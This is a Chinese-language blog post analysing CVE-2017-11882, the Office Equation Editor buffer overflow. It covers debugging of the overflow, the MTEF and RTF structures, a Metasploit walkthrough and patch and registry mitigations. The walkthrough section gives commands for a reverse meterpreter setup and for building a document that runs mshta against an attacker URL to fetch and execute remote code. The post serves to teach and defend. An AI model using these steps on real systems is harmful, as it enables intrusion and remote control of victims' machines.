您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關Office系列漏洞CVE-2017-11882是什么意思,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
一、漏洞簡介
CVE-2017-11882屬于緩沖區溢出類型漏洞,產生漏洞原因于EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font Name數據)時沒有對名稱長度進行校驗,導致緩沖區溢出。通過覆蓋函數的返回地址,可執行任意代碼。
2017年11月14日,微軟發布了11月份的安全補丁更新,影響流行的所有Office版本。
漏洞基本信息 | |
---|---|
漏洞ID | CVE-2017-11882 |
漏洞名稱 | Microsoft Office數學公式編輯器內存損壞漏洞 |
漏洞類型 | 遠程代碼執行 |
威脅類型 | 棧溢出 |
影響版本 | Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016 |
二、漏洞測試
系統環境 | Win7 32 |
---|---|
Microsoft Office | 2013 sp1 |
生成測試漏洞文件 | https://github.com/Ridter/CVE-2017-11882 |
使用Command_CVE-2017-11882.py腳本生成漏洞文件。
有兩種方式,我們先測試第一種彈出計算器。
三、漏洞定位
由于緩沖區溢出函數處于EQNEDT32進程中,所以對它進行調試分析,打開漏洞文件會彈出計算器,一般采用Winexec函數調用,可對該函數進行下斷,然后進行逆推找出溢出點。
首先把eqnedt32.exe拖進od運行(或打開后進行附加),然后定位WinExec進行下斷,打開漏洞文件test.doc,此時斷點會停在WinExec函數上。
由于漏洞利用采用函數覆蓋返回地址,那我們可以從棧中找出漏洞函數的上層或上上層函數繼續進行分析。
在4115A7函數上下好斷點,重新打開漏洞文件,斷下后進行步過(F8)分析,在步過第一個call后并沒有返回,而是直接彈出了計算器,這就說明漏洞溢出點在這個call里面,也就是把棧中返回地址4115D8進行了覆蓋,從而轉向shellcode執行。
上圖是調用41160F,棧中保存的原始返回地址
在copy字體名字的時候,由于沒有校驗名稱長度,導致緩沖區溢出,從而過長的數據覆蓋了該函數的返回地址4115D8。
IDA分析可以看到[ebp+28]就是溢出緩沖區。
[ebp+28]分配的空間是0x24,超過此長度就會產生溢出,從而覆蓋返回地址。
在經過溢出點后,原始返回地址4115D8被覆蓋成402114。
這里覆蓋后的地址是402114,Retn后回轉到該地址處執行,
Retn執行后會轉向12F350處,存放的就是FONT[name]數據,也就是shellcode。
Shellcode中callWinExec函數彈出calc.exe。
成功彈出計算器。
四、數據結構分析
漏洞出現在模塊EQNEDT32.EXE中,該模塊以OLE技術(Object Linking and Embedding,對象鏈接與嵌入)將公式嵌入在Office文檔內。當插入和編輯數學公式時,EQNEDT32.EXE并不會被作為Office進程(如Word等)的子進程創建,而是以單獨的進程形式存在。這就意味著對于word、excel等Office進程的保護機制,無法阻止EQNEDT32.EXE這個進程被利用。漏洞存在于EQNEDT32.EXE處理Office OLE Equation對象中標記為字體名稱記錄的字節流中,如果Equation對象中存在標記為字體名稱的超長字節流,則程序在處理該字符串的過程,會由于判斷字符串長度而發生棧溢出漏洞。
Equation Native數據流= EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR頭結構(共28字節)如下
struct EQNOLEFILEHDR {
WORD cbHdr; // 格式頭長度,固定為0x1C。
DWORD version; // 固定為0x00020000。
WORD cf; // 該公式對象的剪貼板格式。
DWORD cbObject; // MTEF數據的長度,不包括頭部。
DWORD reserved1; // 未公開
DWORD reserved2; // 未公開
DWORD reserved3; // 未公開
DWORD reserved4; // 未公開
};
對應的數據如下圖
MTEFheader
byte | description | value |
---|---|---|
0 | MTEF version | 3 |
1 | generating platform | 0 for Macintosh, 1 for Windows |
2 | generating product | 0 for MathType, 1 for Equation Editor |
3 | product version | 3 |
4 | product subversion | 0 |
MTEFByte Stream
value | symbol | description |
---|---|---|
0 | END | end of MTEF, pile, line, embellishment list, or template |
1 | LINE | line (slot) record |
2 | CHAR | character record |
3 | TMPL | template record |
4 | PILE | pile (vertical stack of lines) record |
5 | MATRIX | matrix record |
6 | EMBELL | character embellishment (e.g. hat, prime) record |
7 | RULER | ruler (tab-stop location) record |
8 | FONT | font name record |
9 | SIZE | general size record |
10 | FULL | full size record |
11 | SUB | subscript size record |
12 | SUB2 | sub-subscript size record |
13 | SYM | symbol size record |
14 | SUBSYM | sub-symbol size record |
參考:http://rtf2latex2e.sourceforge.net/MTEF3.html
數據 8 對應的數據類型為FONT,記錄及結構如下:
struct stuFontRecord {
BYTE bTag; // 字體文件的tag位0x08
BYTE bTypeFace; // 字體風格
BYTE bStyle; // 字體樣式
BYTE bFontName[n] // 字體名稱,以NULL為結束符
};
字段 | 值 | 說明 |
---|---|---|
Tag | 0×08 | 1字節,固定為0×08 |
tface | typeface number | 1字節,Typeface編號 |
style | 1或者2 | 1字節,1表示斜體,2表示粗體 |
name | Font name (null-terminated) | 字體名字,以Null結尾 |
對應的數據如下圖
五、RTF結構分析
其中,\objupdate控制字來保證OLE對象的自動更新和加載,從而觸發漏洞代碼執行。默認狀態下Office文檔中的OLE Object需要用戶雙擊才能生效。將OLE Object的屬性為自動更新,這樣無需交互,點擊打開文檔后OLE Object對象會生效,從而執行惡意代碼。
對漏洞文件ole對象分析
可以看到插入了數學公式ole對象
查看ole對象的目錄結構
可以看到ole對象中包含了EquationNative流
使用olebrowse工具查看Equation Native 流
六、MSF利用
環境準備
目標機 | Win7以及具有該漏洞的office |
---|---|
攻擊機 | Kali linux |
Msf組件 | https://github.com/0x09AL/CVE-2017-11882-metasploit |
首先下載組件
把cve_2017_11882.rbcopy到
/usr/share/Metasploit-framework/modules/exploits/windows/smb
再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits
啟動metasploit
使用search命令查找11882對應模塊,用命令use exploit/windows/smb/cve_2017_11882
showoptions查看要設置的參數
設置一個反彈式的meterpreter攻擊載荷
設置本機ip以及URI路徑
使用命令exploit-j 返回結果會顯示出與目標主機的哪個端口建立了連接
生成目標機的漏洞文檔,命令如下
PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc
這里的為攻擊機的ip,端口設置8080以及URI設置test,生成后,在目標機打開該文檔。
如果成功,meterpreter會顯示返回連接信息,如失敗,可能是參數錯誤或者其它錯誤
成功后,使用命令sessions-l 查看你控制的pc
使用命令sessions-i 1 切換進入,輸入shell,進入cmd,whoami,OVER。
七、修復漏洞
(1)下載https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新補丁進行修補
(2)開啟Windows Update功能,定期對系統進行自動更新
取消該模塊的注冊
(1)按下Win+R組合鍵,打開cmd.exe
(2)輸入以下兩條命令:
reg add“HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400
reg add“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400
關于Office系列漏洞CVE-2017-11882是什么意思就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。